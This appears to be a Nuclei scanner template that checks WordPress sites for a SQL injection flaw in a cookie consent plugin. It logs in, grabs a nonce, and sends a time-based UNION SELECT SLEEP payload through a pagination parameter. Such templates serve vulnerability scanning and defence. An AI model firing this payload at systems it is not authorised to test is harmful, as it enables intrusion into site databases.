Description
The WPLP Cookie Consent WordPress plugin before 4.4.2 does not properly validate a pagination parameter before using it in a SQL query, allowing users with administrator privileges to execute arbitrary SQL commands.
The WPLP Cookie Consent WordPress plugin before 4.4.2 does not properly validate a pagination parameter before using it in a SQL query, allowing users with administrator privileges to execute arbitrary SQL commands.
id: CVE-2026-82186
info:
name: WordPress WPLP Cookie Consent < 4.4.2 - SQL Injection
author: anirbala98
severity: medium
description: |
The WPLP Cookie Consent WordPress plugin before 4.4.2 does not properly validate a pagination parameter before using it in a SQL query, allowing users with administrator privileges to execute arbitrary SQL commands.
reference:
- https://wpscan.com/vulnerability/a0285ba3-0741-4382-a037-db0ac3fc49d2/
- https://nvd.nist.gov/vuln/detail/CVE-2026-82186
- https://wordpress.org/plugins/gdpr-cookie-consent/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N
cvss-score: 4.1
cve-id: CVE-2026-82186
epss-score: 0.00687
epss-percentile: 0.52938
cwe-id: CWE-89
metadata:
verified: true
max-request: 3
vendor: wp-legal-pages
product: gdpr-cookie-consent
framework: wordpress
fofa-query: body="/wp-content/plugins/gdpr-cookie-consent/"
tags: cve,cve2026,wordpress,wp-plugin,sqli,time-based-sqli,gdpr-cookie-consent,authenticated
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=wplp-dashboard HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: nonce
part: body
internal: true
group: 1
regex:
- '"wpl_cookie_scanner":"([a-f0-9]+)"'
- raw:
- |
@timeout: 10s
POST /wp-admin/admin-ajax.php?action=wpl_cookie_scanner HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=wpl_cookie_scanner&security={{nonce}}&wpl_scanner_action=get_pages&offset=0,1) AS T UNION SELECT SLEEP(6)#
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(content_type, "text/html")
- duration >= 6
condition: and
# digest: 4a0a0047304502203a7cbc614559dfa6def5f8f2504e0b46e14e3eae013c1810663c05bae7ab112b022100a806ed86ffbcb6f255285a81c6da88a91249161ab37beba4c31036b9f856b251:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.